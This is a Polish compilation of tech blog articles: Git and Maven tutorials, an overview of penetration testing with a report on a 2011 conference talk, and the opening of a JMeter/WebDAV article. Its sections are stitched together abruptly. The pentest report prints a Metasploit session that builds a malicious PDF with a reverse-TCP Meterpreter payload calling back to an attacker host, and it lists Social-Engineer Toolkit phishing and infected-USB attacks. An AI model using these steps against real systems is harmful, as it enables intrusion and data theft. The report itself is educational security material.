Rozproszona kontrola wersji jest zorganizowana w zupełnie inny sposób. Repozytoriów jest tyle ilu członków zespołu. Każdy z nich lokalnie posiada pełne źródła projektu wraz z historią zmian. Wszystkie repozytoria są równe – żadne z nich nie jest w żaden sposób wyróżnione. To, z którego repozytorium na przykład zbudujemy wersję jest sprawą czysto umowną.

Rozpoczęcie pracy z projektem wiąże się ze stworzeniem nowej kopii projektu przez sklonowanie wybranego istniejącego repozytorium. Dalsza praca może odbywać się lokalnie. W wybranych momentach następuje scalanie zmian dokonywanych przez różnych członków zespołu.

Co zyskujemy dzięki rozproszeniu?

Przede wszystkim pracujemy lokalnie – tworzymy branche wtedy kiedy my ich potrzebujemy, nazywamy je tak jak chcemy (nie ma konfliktów nazw często spotykanych w repozytoriach centralnych), commitujemy zmiany kiedy uznamy jakąś część pracy za wykonaną. Pomimo pracy lokalnej jesteśmy cały czas pod kontrolą wersji – możemy zarządzać nawet małymi lokalnymi zmianami, które potencjalnie mogą zawierać błędy.

Zarządzamy zmianami a nie wersjami. Wbrew pozorom to bardzo duża zmiana w podejściu do zarządzania kodem – zamiast zastanawiać się jak uaktualnić jedną wersję tak, żeby była taka sama jak inna – zarządzamy zmianami – mówimy więc ‘daj mi swój zestaw zmian’. Przy takim podejściu mergowanie zmian staje się codziennością w związku z czym musi być wydajne i bezproblemowe i takie właśnie jest. Dzięki temu pośrednio zyskujemy też silne wsparcie dla nieliniowego rozwoju projektu.

Kompletny projekt wraz z historią zmian istnieje w wielu miejscach. Podczas zakładania (klonowania) projektu dostajemy pełną kopię repozytorium (wraz z historią zmian). Dzięki temu nie mamy jednego newralgicznego punktu, ale te same źródła w wielu miejscach.

Systemy rozproszonego zarządzania wersjami

Na rynku istnieje kilka systemów DVCS (Distributed Version Control System). Do głównych należą darmowe Mercurial, Bazaar, Git oraz komercyjny BitKeeper. Nie ma dużych różnic projektowych pomiędzy nimi (być może poza sposobem synchronizacji), są za to znaczące różnice w implementacji, które wpływają na wydajność i komfort pracy. Ciekawostką jest to, ze Bazaar może pracować zarówno jako repozytorium rozproszone jak i w modelu z centralnym repozytorium.

Ze względu na rosnącą popularność Git’a proponuję pouczyć się co to jest DVCS na jego przykładzie.

Git

Git jest szybkim rozproszonym systemem kontroli wersji dostępnym na licencji open source. Został zaprojektowany i pierwotnie stworzony przez Linusa Torvaldsa na potrzeby zarządzania źródłami jądra Linuxa.

Wśród głównych cech Git’a autorzy wymieniają to, że jest systemem rozproszonym, wspiera nieliniowy development, jest wydajny w dużych projektach oraz zapewnia spójność repozytorium przez zastosowanie algorytmów szyfrujących (SHA1).

Instalacja

Większość systemów linuxowych ma już gita w swoich repozytoriach pakietów (git-core). Wersję zbudowaną lub źródła można pobrać ze strony projektu (http://git-scm.com/download). Instalacja jest prosta i nie powinna przysporzyć problemów.

Po zainstalowaniu Git jest gotowy do zarządzania naszym kodem.

Jedyne co powinniśmy ustawić, to swoją nazwę użytkownika i e-mail:

git config --global user.name Michal Laguna
git config --global user.email michal.laguna@atena.pl

Utworzenie repozytorium

Po założeniu katalogu z projektem wykonujemy polecenie git init. Spowoduje to utworzenie repozytorium – w katalogu z projektem powinien powstać katalog .git.

$git init
Initialized empty Git repository in /home/atena/repo1/.git

Za pomocą polecenia git status możemy sprawdzić aktualny stan naszego repozytorium. Powinniśmy dostać odpowiedź podobną do tej:

$git status
# On branch master
nothing to commit (working directory clean)

Dodanie/zmiana plików

Pliki dodajemy i zmieniamy w repozytorium za pomocą polecenia add:

$git add.
$git status
# On branch master
# Changes to be commited:
…
# new file: test1.txt

Zatwierdzenie zmian

Wprowadzone zmiany zatwierdzamy za pomocą polecenia commit (uwaga: commit zatwierdza zmiany tylko w lokalnym repozytorium):

$git commit –m ‘Poprawa bledu Abcd1234’
1 files changed, 1 insertion(+), 0 deletion(-)
create mode 100644 test1.txt

Historia zmian

W dowolnej chwili można podejrzeć historię zmian za pomocą polecenia log:

$git log

Możemy podejrzeć również listę różnic:

$git log –p

Branchowanie i mergowanie

Stworzenie brancha jest tak proste jak wykonanie instrukcji git branch [nazwa brancha]. Żeby przełączyć się na brancha wykonujemy polecenie git checkout [nazwa brancha].

$git branch xyz123
$git checkout xyz123
Switched to branch ‘xyz123’

W dowolnej chwili możemy sprawdzić w jakim branchu aktualnie się znajdujemy (ten oznaczony gwiazdką):

$git branch
master
* xyz123

Dokonajmy teraz zmiany w naszym branchu xyz123 i dodajmy zmianę do brancha:

$git add –m ‘Zmiana w branchu’
$git commit

Powyższe dwie instrukcje możemy też zastąpić pojedynczą:

$git commit –a –m ‘Zmiana w branchu’

Po przejściu z powrotem do brancha głównego widzimy, że nie ma w nim wprowadzonych zmian:

$git checkout master
$git log

Możemy teraz dociągnąć zmiany za pomocą polecenia merge:

$git merge xyz123

Na koniec możemy podejrzeć drzewko zmian w narzędziu gitk

$gitk

I usunąć gałąź xyz123

$git branch –d xyz123

Tagowanie

Założenie taga to wykonanie polecenia Tag:

$git tag 0.1.15

Lista tagów:

$git tag -l

Następnie możemy stworzyć brancha z dowolnego taga:

$git branch stable 0.1.15

Praca w zespole

Jak już wiemy w pracy z rozproszonym systemem kontroli wersji wszystkie repozytoria są równe, a wskazanie repozytorium, z którego na przykład budujemy wersję lub uruchamiany testy jest tylko kwestią umowy.

Załóżmy, że pracujemy w dwuosobowym zespole (user1, user2). User2 tworzy swoje lokalne repozytorium przez sklonowanie repozytorium należącego do user1:

$git clone git-repo-user1 git-repo-user2
Cloning into git-repo-user2…
done.

Następnie user2 edytuje lokalnie jakieś pliki umieszcza je w swoim repozytorium:

cd git-repo-user2
git commit –a –m ‘Zmiany user2’

Gdy skończy może powiadomić usera1 o możliwości zaciągnięcia zmian – wtedy user1 może dociągnąć zmiany z repozytorium usera2 za pomocą polecenia pull:

$git pull /home/atena/git-repo-user2 master

Polecenie pull powoduje pobranie zmian ze wskazanego repozytorium i zmergowanie ich z naszym kodem (fetch + merge). Wskazane jest zacommitowanie wszystkich lokalnych zmian przed wykonaniem operacji pull – pozwoli to na bezproblemowe przeprowadzenie merge’a.

Istnieje możliwość ściągnięcia zmian z innego repozytorium bez ich mergowania – służy do tego polecenie fetch:

$git fetch /home/atena/git-repo-user2 master
$git log –p HEAD..FETCH_HEAD
$git merge FETCH_HEAD

Dla ułatwienia pracy można nadać alias zdalnemu repozytorium, z którym pracujemy:

$git remote add user2 /home/atena/git-repo-user2

Z poziomu swojego repozytorium możemy też ‘wepchać’ zmiany do repozytorium zdalnego – praca z Gitem przypomina wtedy pracę z repozytorium centralnym. Służy do tego polecenie push:

$git push user2 master

Co ważne – Git domyślnie nie pozwoli na wepchnięcie zmian do zdalnego repozytorium jeśli wskazany branch został w nim zacheckoutowany. Dostaniemy wtedy taki komunikat:

error: refusing to update checked out branch: refs/heads/master
error: By default, updating the current branch in a non-bare repository
error: is denied, because it will make the index and work tree inconsistent
error: with what you pushed, and will require 'git reset --hard' to match
error: the work tree to HEAD.

Możemy wtedy zrobić dwie rzeczy – albo w zdalnym repozytorium przejść (checkout) na inny branch lub przekształcić zdalne repozytorium w repozytorium centralne (bare), czyli takie, które zawiera jedynie katalog .git i nie zawiera żadnych zacheckoutowanych plików

git config --bool core.bare true

Rebase

Niniejszy artykuł jest jedynie wprowadzeniem do zagadnienia rozproszonego kontrolowania źródeł, ale ponieważ za przykład wzięliśmy Git’a nie sposób nie wspomnieć o jeszcze jednej bardzo wartościowej i silnej funkcjonalności którą dostarcza – rebase.

Rebase to w uproszczeniu przesunięcie miejsca utworzenia brancha. Załóżmy, że mamy w projekcie branch główny oraz jakiś dodatkowy z funkcjonalnością przygotowywaną dla konkretnego klienta. Jeśli chcemy aby branch dedykowany dla klienta zawierał wszystkie zmiany wrzucane do brancha głównego musimy dokonywać merge’y.

Git daje nam możliwość wykonania operacji rebase, która spowoduje przesunięcie miejsca utworzenia brancha:

$git checkout clientX_branch
$git rebase origin

Po takiej operacji Git zapisze wszystkie commity od momentu utworzenia brancha jako patche w katalogu .git/rebase, zaktualizuje brancha tak, żeby wskazywał aktualną wersję w branchu głównym i na koniec zaaplikuje odłożone patche. Dzięki temu historia zmian będzie serią commitów bez merge’y.

Podsumowanie

Rozproszone systemy zarządzania wersjami moim zdaniem w pewnym sensie definiują na nowo podejście do zarządzania kodem źródłowym. Skupienie się na zmianach zamiast na wersjach rozwiązało bardzo wiele problemów spotykanych w pracy z SVN’em czy CVS’em – branchowanie i mergowanie staje się standardowym elementem prowadzenia developmentu, a dzięki rozproszeniu repozytorium towarzyszy nam od pierwszej linijki kodu.

Z drugiej strony rozproszone systemy repozytorium kodu nie są żadną nowością, a moim zdaniem wciąż nie zyskały bardzo dużej popularności w projektach komercyjnych. Wydaje mi się, że z punktu widzenia firmy rozproszenie repozytorium nie jest czymś niezbędnym – najczęściej przecież i tak potrzebujemy repozytorium centralnego, z którego automatycznie budujemy aktualną wersję i na przykład puszczamy testy jednostkowe. Tworzenie oprogramowania w firmie jest zazwyczaj prowadzone w sposób bardziej usystematyzowany niż w projektach tworzonych przez otwartą społeczność. Zakłada się, że wszyscy deweloperzy wykonują przydzielone zadania i wyniki ich pracy będą musiały się znaleźć w wersji. Czasem może nawet nie chcemy, żeby szeregowy developer mógł pobrać projekt wraz z kilkuletnią historią jego rozwoju.
Pewnym problemem może być też wsparcie systemu kontroli wersji przez IDE. SVN czy CVS jest wszechobecny – większość narzędzi do projektowania i wytwarzania aplikacji bez względu na język programowania czy modelowania ma albo natywną obsługę albo przynajmniej wtyczki do obsługi najpopularniejszych systemów kontroli wersji. Niestety żaden z rozproszonych systemów kontroli wersji nie należy jeszcze do tych najpopularniejszych.

Jeśli chodzi o Git’a to jest bez wątpienia bardzo silnym narzędziem. Na dzień dzisiejszy wydaje się być dopracowanym projektem gotowym do użycia w komercyjnym projekcie. Nie jest jednak jedynym DVCS’em – moim zdaniem przed rozpoczęciem projektu warto rozpoznać konkurencję pod kątem naszych konkretnych potrzeb (np. chociażby pluginów do wybranych IDE).

Gdzie ja mam wrzucić te pliki?

Ta wielka zaleta potrafi jednak obrócić się przeciwko nam. Ponieważ to projektanci i programiści definiują strukturę projektu i sposób budowania aplikacji trudno jest znaleźć dwa takie same projekty. Każdy, kto pracował w kilku projektach javowych, szczególnie wytwarzanych w ramach różnych zespołów prawdopodobnie spotkał się z opisywaną sytuacją. Wydaje mi się, że taki brak „szablonu projektu” może być problematyczny szczególnie dla młodszych programistów, którzy – przechodząc z projektu do projektu – mogą czuć się zagubieni.

Wsparcie – Maven

Z pomocą przychodzi Maven, czyli narzędzie do zarządzania projektem Javowym. Osobiście uważam Mavena za jeden z najbardziej przełomowych ‘wynalazków’ świata Javowego.

Maven zrodził się z potrzeby zdefiniowania standardowej struktury projektu, standardowego sposobu budowania aplikacji oraz sposobu definiowania zależności pomiędzy modułami projektu. Dzięki tej standaryzacji przejście pomiędzy projektami opartymi o Mavena jest wręcz przezroczyste – możemy skupić się na biznesowych problemach zamiast zastanawiać się nad tym jak to wszystko zbudować i skąd wziąć oraz gdzie wrzucić kolejnego JARka.

Budowanie oprogramowania przy użyciu Mavena oparte jest o cele. Każde wołanie powinno zakończyć osiągnięciem konkretnego celu. Może być nim np. kompilacja (compile), zbudowanie paczki (package) czy przeprowadzenie testów jednostkowych (test). Dostępne cele są określane przez wtyczki rozszerzające funkcjonalność Mavena. Konkretne cele mogą wymagać wykonania wcześniej jakiegoś innego celu (np. package musi być poprzedzony compile).

Projekt mavenowy definiuje się poprzez stworzenie i utrzymywanie pliku pom.xml (POM – ang. Project Object Model). Pom.xml jest głównym miejscem pracy z projektem i zawiera wszystkie istotne elementy definiujące projekt, jego strukturę, sposób budowania i przede wszystkim zależności.

Mavena można pobrać ze strony projektu http://maven.apache.org/download.html – nie wymaga on tak naprawdę żadnej instalacji – po rozpakowaniu należy jedynie ustawić zmienne środowiskowe: M2_HOME (wskazanie na katalog, do którego rozpakowaliśmy mavena), M2 (wskazanie na katalog [M2_HOME]/bin) i dodać katalog bin do zmiennej PATH (wskazanie na [M2_HOME]/bin).

Struktura projektu

Typowy projekt mavenowy ma strukturę taką, jak na poniższym diagramie:

atena-app
|-- pom.xml
`-- src
    |-- main
    |   `-- java
    |       `-- pl
    |           `-- atena
    |               `-- app
    |                   `-- AtenaApp.java
    |   `-- resources
    |       `--META-INF
    |          `--application.properties
    `-- test
        `-- java
            `-- pl
                `-- atena
                    `-- app
                        `-- AtenaAppTest.java

Sam plik pom.xml może wyglądać tak jak w poniższym fragmencie kodu:

<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
                      http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>pl.atena</groupId>
  <artifactId>atena-app</artifactId>
  <packaging>jar</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>Maven Quick Start Archetype</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
</project>

Jest to bardzo prosty podstawowy plik pom.xml. Poniżej krótki opis poszczególnych sekcji pom’a:

• groupId - twórcę (pl.atena),
• artifactId - nazwę aplikacji (atena-app),
• packaging - sposób pakowania (jar, war, ear),
• version - wersję,
• name - nazwę wyświetlaną
• url - link do strony projektu
• dependecies – zależności od innych modułów

Zakładanie i definiowanie projektu

Projekt możemy zdefiniować ręcznie poprzez utworzenie wymaganej struktury katalogów oraz stworzenie pliku pom.xml. Nie ma tutaj żadnej magii – tak przygotowany projekt jest w pełni poprawnym projektem mavenowym. Takie tworzenie nie jest jednak zbyt przyjemne.

Z pomocą przychodzi mechanizm archetypów (a ściślej mówiąc plugin archetype), czyli tzw. szablony projektów. Poprzez wywołanie poniższej linii stworzymy kompletną strukturę prostego projektu wraz z podstawowym plikiem pom.xml:

mvn archetype:generate -DgroupId=pl.atena -DartifactId=atena-app
-DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false

Powyższa linia oznacza: wywołaj cel ‘generate’ z pluginu ‘archetype’ i stwórz projekt pl.atena.atena-app na podstawie szablonu maven-archetype-quickstart. W wyniku pracy mavena powinniśmy otrzymać katalog z projektem i prosty pom.xml.

Istnieje bardzo dużo gotowych szablonów, dzięki czemu możemy na przykład przez wywołanie takiego prostego polecenia stworzyć kompilujący się i gotowy do deployu projekt aplikacji webowej zgodny z JEE6.

Budowanie projektu

Jak już wcześniej wspominałem budowanie projektu to wykonywanie określonych celi. Jeśli chcemy np. skompilować projekt wykonujemy polecenie mvn compile z poziomu katalogu głównego projektu (czyli tam gdzie jest umieszczony plik pom.xml).

Możemy wykonać kilka celi po kolei – np.: mvn clean package spowoduje wyczyszczenie wyników wcześniejszych buildów i spakowanie od nowa projektu (poprzedzone kompilacją, gdyż package wywołuje najpierw compile).

Cykl życia projektu

Maven definiuje coś co nazywa się cykle życia projektu. Jest to zestaw standardowych najważniejszych z punktu widzenia aplikacji, bardzo precyzyjnie zdefiniowanych i wykonywanych w określonej kolejności faz. Błąd na dowolnym etapie zatrzymuje wykonywanie kolejnych faz w cyklu. Maven definiuje trzy cykle życia: default, clean i site.

Fazy domyślnego (default) cyklu życia:

• validate - sprawdza poprawność projektu;
• compile - kompiluje kod źródłowy;
• test - wykonuje testy jednostkowe;
• package - pakuje skompilowany kod w paczki dystrybucyjne (np. Jar, war);
• integration-test – deployuje paczkę w środowisku testów integracyjnych;
• verify - sprawdza poprawność paczki;
• install - umieszcza paczkę w lokalnym repozytorium aby mogła być używana przez inne moduły;
• deploy - umieszcza (publikuje) paczkę w zdalnym repozytorium.

Cykl życia clean czyści wynik działania wcześniejszych buildów.

Cykl życia site generuje dokumentację projektu.

Powyżej opisane fazy są tak naprawdę mapowane na konkretne cele. Na przykład package w przypadku projektu typu jar wywoła jar:jar, a w przypadku projektu typu war war:war.

Pluginy

Funkcjonalność Mavena może być rozszerzana przez pluginy. Wywoływanie celów zdefiniowanych w pluginach odbywa się poprzez wywołanie polecenia mvn [plugin]:[goal], gdzie plugin to nazwa wtyczki, a goal to wywoływany cel.

Użyliśmy tej konstrukcji tworząc projekt z szablonu (mvn archetype:generate).

Samo dodanie plugina do projektu odbywa się poprzez dodanie odpowiedniej definicji w pliku pom.xml. Taka zależność może wyglądać jak poniżej:

<build>
  <plugins>
    <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-compiler-plugin</artifactId>
      <version>2.0.2</version>
      <configuration>
        <source>1.5</source>
        <target>1.5</target>
      </configuration>
    </plugin>
  </plugins>
</build>

Zależności

Zarządzanie zależnościami bywa trudne nawet w małym projekcie, a w projekcie dużym i złożonym bywa zadaniem bardzo wyczerpującym.

Prawdopodobnie każdy z nas niejednokrotnie wyszukiwał w google’u jakichś JARków i próbował je ściągać z przypadkowych stron. Ponadto pracując w projekcie złożonym z kilku modułów bardzo często napotykamy problem dostarczania coraz to nowszej wersji modułu do innego obszaru projektu. W tych problemach z pomocą ponownie przychodzi Maven. Zarządzanie zależnościami jest chyba tym z czego Maven tak naprawdę słynie najbardziej.

Dodanie zależności sprowadza się do dodanie elementu dependency w pliku pom.xml. W elemencie dependency wkazujemy dostawcę (groupId), nazwę modułu (artifactId), wersję (version) i zasięg (scope). Maven podczas budowania automatycznie pobierze z repozytorium moduł od którego zależność zdefiniowaliśmy (wcześniej może być konieczne zdefiniowanie dodatkowych repozytorium).

Przykładowa definicja zależności:

<dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    ……
  </dependencies>

Zależności przechodnie

Zależności przechodnie oszczędzają nam pracy związanej z odkrywaniem od czego jeszcze musimy zależeć w związku ze zdefiniowaniem zależności od jakiegoś modułu. Jeśli nasz moduł A zależy od modułu B, a moduł B zależy od kolejnych modułów to te końcowe zależności zostaną automatycznie dołączone do naszego projektu.

Istotnym elementem definiowania zależności jest określenie zasięgu (scope). Może mieć on jedną z poniższych wartości:

• compile - domyślny zasięg – zależności o zasięgu kompilacji są dostępne we wszystkich fazach (kompilacji, uruchomienia) projektu i są propagowane do projektów zależących od mojego projektu.
• provided - zasięg zbliżony do compile z tą różnicą, że zakładamy dostępność tych bibliotek w runtime. Przykładem dla użycia provided może być Servlet API – potrzebujemy go do kompilacji, ale w runtime będzie udostępniony przez kontener.
• runtime - zasięg zakłada, że biblioteka nie jest potrzebna do kompilacji, ale tylko do uruchomienia (runtime i test).
• test - zasięg wskazuje, że biblioteka nie jest wymagana do normalnej pracy aplikacji i jest potrzebna jedynie w fazie testów.
• system - zasięg zbliżony do provided z tą różnicą, że jawnie wskazujemy jara zawierającego bibliotekę.
• import (dostęny od Mavena 2.0.9) – zasięg dostępny jedynie dla zależności typu pom – wskazuje Mavenowi, że chcemy dołożyć do naszego projektu zależności zdefiniowane w innym projekcie.

Integracja z IDE

Korzystanie z Mavena tylko z linii poleceń może być uciążliwe, ale oczywiście nie jest to konieczne. Istnieją oficjalne pluginy do Eclipse’a i Netbeans’a. Szczególnie polecanym pluginem do Eclipse’a jest m2eclipse – jest to najstarszy i najdojrzalszy plugin i działa bardzo poprawnie.

Więcej o pluginach do Eclipse’a można znaleźć na stronie http://maven.apache.org/eclipse-plugin.html, a o pluginach o Netbeans’a na http://maven.apache.org/netbeans-module.html. InteliJ wspiera mavena natywnie.

Podsumowanie

Powyższy artykuł jest tak naprawdę tylko wstępem, który mam nadzieję choć trochę przybliży Mavena i zachęci do zagłębienia się w temat. Maven daje wiele więcej – udostępnia mechanizmy dziedziczenia i agregacji pom’ów, pozwala na tworzenie własnych artefaktów, może być rozszerzany o wtyczki wspierające deployment komponentów na różnych serwerach aplikacyjnych … i wciąż się rozwija.

Co to są testy penetracyjne?

Testy penetracyjne są to procesy mające na celu ocenę bezpieczeństwa systemu teleinformatycznego. Metody używane do przeprowadzania testów penetracyjnych wykorzystują techniki penetracji używane w realnych atakach.

Cele przeprowadzania testów penetracyjnych:

1. wykrycie luk bezpieczeństwa w systemach teleinformatycznych;
2. przedstawienie skutków wykorzystania znalezionych błędów przez hackerów;
3. zaproponowanie rozwiązań poprawiających wykrytą lukę;
4. określenie czasu potrzebnego na złamanie systemu zabezpieczeń.

Zalety przeprowadzania testów penetracyjnych:

1. zapobieganie strat finansowych w wyniku oszustwa (hakerzy, szantażyści, niezadowoleni pracownicy);
2. uniknięcie odpowiedzialności za utratę poufnych danych klientów;
3. zapobieganie utraty zaufania konsumentów i reputacji firmy.

Rodzaje testów penetracyjnych:

1. white Box – atakujący dysponuje pełną wiedzą na temat badanego systemu, jego architektury i zastosowanych technologiach (kody źródłowe, środowiska wykonania);
2. grey Box – atakujący posiada szczątkową wiedzę na temat badanego systemu;
3. black Box – atakujący nie posiada wiedzy na temat badanego systemu; ten rodzaj najbardziej odzwierciedla rzeczywistą wiedzę atakującego.

W przypadku, gdy posiadamy pełną wiedzę o systemie, powinniśmy zdecydować się na testy typu White Box. Ten rodzaj testów pozwoli nam na odnalezienie największej liczby luk w systemie w najkrótszym czasie. Ich wadą jest natomiast udostępnienie danych projektowych dla osób przeprowadzających testy.

Rodzaje błędów sprawdzanych podczas testów penetracyjnych:

• SQL injection – luka zabezpieczeń aplikacji polegająca na braku lub nieodpowiednim filtrowaniu i wykonywaniu danych przesyłanych przez użytkownika w postaci zapytań SQL do bazy danych.
  Zagrożenia: zdalny dostęp do bazy danych, przejęcie kontroli nad bazą danych lub systemem operacyjnym.
• Cross-site scriptin(XSS) – luka w systemie zabezpieczeń aplikacji internetowych umożliwiająca użytkownikowi osadzenie własnego kodu w treści atakowanej strony. Osadzony kod może doprowadzić do wykonania niepożądanych przez użytkownika operacji lub obejść kontrole dostępu do danych.
  Zagrożenia: dostęp do kont zalogowanych użytkowników, kontrola nad przeglądarką użytkownika, atak typu spoofing (phishing), przechwytywanie danych przeglądarki.
• Remote File Inclusion (RFI) – luka występująca najczęściej na stronach internetowych, pozwalająca użytkownikowi na umieszczenie na serwerze pliku za pomocą skryptu na stronie. Luka spowodowana jest brakiem odpowiedniej kontroli nad wysyłanymi na serwer plikami. Wykorzystanie tej luki może doprowadzić do wykonania na serwerze kodu użytkownika, wykonanie kodu użytkownika po stronie innego użytkownika oraz kradzieży danych.
  Zagrożenia: przejęcie kontroli nad systemem.
• Cross Site Request Forgeries (CSRF) – atak polegający na wykorzystaniu przeglądarki internetowej użytkownika (atakowanego) do wysyłania żądań http bez jego wiedzy. Celem atakującego jest wykorzystanie uprawnień ofiary do wykonania nieuprawnionej operacji.
  Zagrożenia: przejęcie kontroli nad przeglądarką użytkownika, dostęp do operacji wykonywanych przez uprawnione do serwisu osoby.
• Denial of Service (DoS) – atak mający na celu uniemożliwienie użytkownikom skorzystania z zasobów lub usług systemu komputerowego.
  Zagrożenia: wyłączenie aplikacji, zablokowanie dostępu do aplikacji dla uprawnionych użytkowników.
• Distributed Denial of Service (DDoS) - odmiana ataku DoS polegająca na jednoczesnym atakowaniu ofiary z wielu miejsc.
• File Inclusion, Logic Flaws, Path Traversal, Insecure Communications , Malicious Code Execution i wiele innych.

Narzędzia do testów penetracyjnych

Social-Engineer Toolkit (SET)

Social-Engineer Toolkit (SET) jest to zbiór gotowych narzędzi do przeprowadzania socjotechnicznych testów penetracyjnych.

http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29

Możliwości programu

1. Spear-phishing attack – metoda ataku z użyciem wiadomości e-mail.
   Moduł ten umożliwia przygotowanie wiadomości e-mail z dołączonym plikiem zawierającym szkodliwe oprogramowanie oraz przesłanie jej na e-mail ofiary.
2. Website Attack Vectors – atak z wykorzystaniem przygotowanego linku.
   Możliwe rodzaje ataku:
   1. The Java Applet Attack Method
   2. The Metasploit Browser Exploit Method
   3. Credential Harvester Attack Method
   4. Tabnabbing Attack Method
   5. Man Left in the Middle Attack Method
   6. Web Jacking Attack Method
   7. Multi-Attack Web Method
3. Infectious Media Generator – atak z wykorzystaniem pamięci przenośnych
   Kreator DVD/USB nagrywa na nośnik danych zainfekowany plik autorun.inf, który jest automatycznie uruchamiany podczas otwarcia pamięci.
4. Create a Payload and Listener – atak z wykorzystaniem zainfekowanego pliku *.exe
   Narzędzie tworzy zainfekowany plik *.exe oraz uruchamia dedykowane nasłuchiwanie.
5. Mass Mailer Attack – masowe wysyłanie wiadomości e-mail.
6. Teensy USB HID Attack Vector – atak z wykorzystaniem ‘Teensy USB’.
   Atak wymaga zakupu urządzenia ‘Teensy USB’ i pozwala na zaprogramowanie urządzenia tak, aby wykonało atak na ofiarę i udawało klawiaturę.

Metasploit + XSSF

XSS Framework (XSSF) jest częścią Metasploit Framework. XSSF umożliwia zarządzanie ofiarami ataku XSS oraz podtrzymuje istniejące połączenie w celu późniejszego ataku. Po wstrzyknięciu do ofiary wygenerowanej przez XSSF pętli, każda ofiara odpytuje serwer i jeżeli dostępne są nowe komendy, wykonuje je.

Możliwości rozwiązania przedstawiają zamieszczone poniżej linki do wideo:
XSS Attacks: http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-1-video.aspx
XSS Tunnel: http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-2-video.aspx

Ataki przedstawione przez Piotra Koniecznego na konferencji „infoShare 2011″

Atak z wykorzystaniem narzędzia Metasploit – 0day PDF Exploit

0day PDF Exploit pozwala na przejęcie kontroli nad atakowanym komputerem, wykorzystując do tego celu lukę w aplikacji Adobe Acrobat Reader.
Luka została opisana na stronie http://niebezpiecznik.pl/post/nowy-exploit-na-adobe-acrobatreader/ .

Tworzenie pliku pdf:

msf exploit(adobe_cooltype_sing) > set filename plik.pdf

filename => plik.pdf

msf exploit(adobe_cooltype_sing) > set outputpath /Users/Dom

outputpath => /Users/Dom

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.4

LHOST => 192.168.0.4

msf exploit(adobe_cooltype_sing) > exploit

[*] Started reverse handler on 192.168.0.4:4444

[*] Creating 'plik.pdf' file...

[*] Generated output file /Users/Dom/plik.pdf

[*] Exploit completed, but no session was created.

Wygenerowany plik pdf wystarczy wysłać jako załącznik wiadomości e-mail lub udostępnić atakowanej osobie. Po otwarciu pliku pdf komputer osoby atakowanej nawiąże połączenie z naszym komputerem.

Odbiór połączeń:

msf exploit(adobe_cooltype_sing) > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.0.4

LHOST => 192.168.0.4

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444

[*] Starting the payload handler...

Po nawiązaniu połączenia z ofiarą mamy pełną kontrolę nad jej systemem.

Atak z wykorzystaniem narzędzia SET

Na wykładzie zostały wykonane ataki metodą „Website Attack Vectors” oraz „Spear-Phishing Attack Vector”. Ataki zakończyły się powodzeniem oraz ukazały, jak łatwo wykorzystać narzędzie „SET” do przejęcia danych ofiary.

Podsumowanie

Zainteresowanie wykładem Piotra Koniecznego było niebezpodstawne. Wszystkie przedstawione przez autora problemy aplikacji i ich podatność na ataki okazały się nam bliższe niż moglibyśmy sądzić. Dostępność i prostota użycia profesjonalnych narzędzi do przeprowadzania testów penetracyjnych może sprawić, iż każdy z nas przez chwilę poczuje się jak haker. Wykonane przez Piotra Koniecznego testy wykazały 30% skuteczności ataków typu „Website Attack Vectors”. Uważam, że wykład „Narzędzia Hakerów” był najbardziej interesującym wykładem tego dnia konferencji. Zachęcam wszystkich do czytania bloga Piotra Koniecznego http://niebezpiecznik.pl/ .

Zasoby w sieci

1. http://niebezpiecznik.pl/ – Strona Piotra Koniecznego
2. http://infoshare.pl/2011-2/program/#d2_T7 – Strona Konferencji infoShare 2011
3. http://www.metasploit.com – narzędzia Metasploit
4. http://dev.metasploit.com/redmine/issues/2995 – Opis narzędzia Metasploit + XSSF
5. http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29 – narzędzia SET

Metodologia testu

Interfejs WebDAV oferuje szeroki zakres funkcjonalności. Na potrzeby testu wybrałem tylko kilku podstawowych metod: PUT (wysłanie pliku), GET (pobranie pliku), LIST (lista wszystkich plików w węźle) oraz DELETE (usunięcie pliku). Niestety, interfejs WebDAV jest rozszerzeniem standardu dlatego standardowe komponenty JMetera nie są w stanie wygenerować prawidłowych żądań. Dlatego utworzymy bibliotekę dostępu do wybranych metod WebDAV, a następnie będziemy wywoływać metody przy pomocy komponentu JMetera „Java Request”.

Uruchomienie JackRabbit

Zacznijmy od uruchomienia repozytorium. JackRabbit można uruchomić w różnych środowiskach i konfiguracjach. Wszystkie możliwości zaprezentowane są tutaj. Na potrzeby naszego testu uruchomimy JackRabbit jako moduł WAR na serwerze JBoss 5.1.  W tym celu ściągamy stabilną wersję aplikacji jackrabbit-webapp-X.X.X.war ze strony  http://jackrabbit.apache.org/downloads.html. Następnie za radą FAQ Jackrabbita musimy usunąć z niej biblioteki: WEB-INF\lib\xercesImpl-2.9.0.jar oraz WEB-INF\lib\xml-apis-1.3.04.jar. Wynika to z tego, że te biblioteki istnieją już w dystrybucji Jboss-a. Umieszczenie ich dodatkowo w aplikacji WAR prowadzi do konfliktu. Innym rozwiązaniem jest zmiana konfiguracji classloaderów w JBoss.

